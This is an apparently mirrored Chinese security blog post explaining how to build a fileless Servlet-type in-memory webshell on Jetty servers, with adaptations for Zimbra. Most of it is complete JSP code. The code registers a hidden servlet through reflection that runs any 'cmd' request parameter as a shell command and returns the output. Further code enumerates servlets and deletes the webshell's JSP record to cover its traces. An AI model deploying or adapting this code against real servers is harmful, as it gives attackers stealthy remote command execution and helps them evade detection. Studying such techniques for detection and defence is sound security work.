Java利用技巧——Jetty Servlet型内存马
source link: https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Java利用技巧——Jetty Servlet型内存马
24 Nov 2022
0x00 前言
在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节
0x01 简介
本文将要介绍以下内容:
- Zimbra环境下的Servlet型内存马
0x02 实现思路
同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马
0x03 实现代码
1.添加Servlet
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%@ page import="java.util.Scanner"%>
<%@ page import="java.io.*"%>
<%
String servletName = "myServlet";
String urlPattern = "/servlet";
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object s:servlets){
Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(s);
if(name.equals(servletName)){
flag = true;
break;
}
}
if(flag){
out.println("[-] Servlet " + servletName + " exists.<br>");
return;
}
out.println("[+] Add Servlet: " + servletName + "<br>");
out.println("[+] urlPattern: " + urlPattern + "<br>");
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field field = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = null;
try{
servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
}catch(NoSuchMethodException e){
servletMapping = clazz.newInstance();
}
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
}
}
}
%>
2.枚举Servlet
(1)通过request对象调用getServletRegistrations枚举Servlet
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Method "%>
<%
ServletContext servletContext = request.getServletContext();
Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");
Object obj1 = m1.invoke(servletContext);
out.println(obj1);
%>
对应命令为:request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())
(2)通过Thread获得webappclassloaer,通过反射读取_servlets属性来枚举Servlet
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method"%>
<%
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread:threads)
{
threadClassLoader = thread.getContextClassLoader();
if(threadClassLoader != null){
if(threadClassLoader.toString().contains("WebAppClassLoader")){
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for(Object servlet:servlets){
out.print(servlet + "<br>");
}
}
}
}
%>
注:
该方法在Zimbra环境下会存在多个重复结果
0x04 Zimbra环境下的Servlet型内存马
Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Servlet时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可
在Zimbra环境下测试还需要注意一个问题:在rctxt
->jsps
下会标记所有执行过的jsp实例,测试代码如下:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
Enumeration enu = conn4.keys();
while (enu.hasMoreElements()) {
out.println(enu.nextElement() + "<br>");
}
%>
当然,我们可以通过反射删除内存马对应的jsp实例,测试代码如下:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="java.util.*" %>
<%
Field f = request.getClass().getDeclaredField("_scope");
f.setAccessible(true);
Object conn1 = f.get(request);
f = conn1.getClass().getDeclaredField("_servlet");
f.setAccessible(true);
Object conn2 = f.get(conn1);
f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");
f.setAccessible(true);
Object conn3 = f.get(conn2);
f = conn3.getClass().getDeclaredField("jsps");
f.setAccessible(true);
ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);
conn4.remove("/myServlet.jsp");
%>
无论是Filter型内存马还是Servlet型内存马,删除内存马对应的jsp实例不影响内存马的正常使用
0x05 利用思路
同Filter型内存马一样,Servlet型内存马的优点是不需要写入文件,但是会在服务重启时失效
0x06 小结
本文介绍了Jetty Servlet型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK